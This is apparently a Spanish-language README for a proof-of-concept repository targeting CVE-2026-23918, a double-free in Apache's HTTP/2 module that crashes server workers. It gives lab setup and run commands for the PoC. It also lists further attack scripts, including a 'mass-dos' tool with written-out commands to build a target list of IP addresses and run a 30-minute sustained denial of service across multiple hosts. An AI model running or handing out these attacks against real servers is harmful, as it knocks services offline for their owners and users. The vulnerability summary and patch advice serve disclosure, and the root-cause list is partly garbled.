
PoC de vulnerabilidad de doble liberación en Apache HTTP/2 (CVE-2026-23918)
CVE-2026-23918 | Servidor HTTP Apache 2.4.66 | CWE-415: Doble Liberación | CVSS 8.8 | Corregido en 2.4.67
Una vulnerabilidad de doble liberación en mod_http2 (h2_mplx.c) permite a atacantes remotos provocar una denegación de servicio (caída del worker) mediante tramas RST_STREAM rápidas que desencadenan una condición de carrera entre c1c2_stream_joined() y m_stream_cleanup().
# 1. Start the lab
docker-compose up --build -d
# 2. Run the PoC
pip3 install h2
python3 poc.py --target 127.0.0.1 --port 8443
# 3. Watch the crash
docker logs -f apache-lab
# 4. Clean up
docker-compose down -v
Resultado: El servidor se bloquea en ~30s–3min con
SIGSEGV— DoS fiable confirmado.
| File | Description |
|---|---|
poc.py | Rapid-RST — Ataque rápido, bloquea servidores en 30s–3min |
exploits/slow-drip.py | Slow Drip — Ataque sostenido de bajo ancho de banda |
exploits/mass-dos.py | Mass DoS — DoS sostenido multi-objetivo |
# Create target list
echo "192.168.1.100:8443" > targets.txt
echo "10.0.0.50:8443" >> targets.txt
# Attack 10 targets for 30 minutes
python3 exploits/mass-dos.py --targets targets.txt --duration 30 --workers 50 --intensity 7
La vulnerabilidad se desencadena cuando:
c1c2_stream_joined() como por m_stream_cleanup() simultáneamentem->spurge sin deduplicaciónh2_purge_then_destroy() destruye el flujo dos veces → doble liberación → fallo de segmentación
Actualice a Apache 2.4.67 o posterior.
Análisis completo de la vulnerabilidad, recorrido de la causa raíz, notas de explotación y guía de remediación: → rhasan.com/CVE-2026-23918
⭐ Dale una estrella a este repositorio si te resultó útil!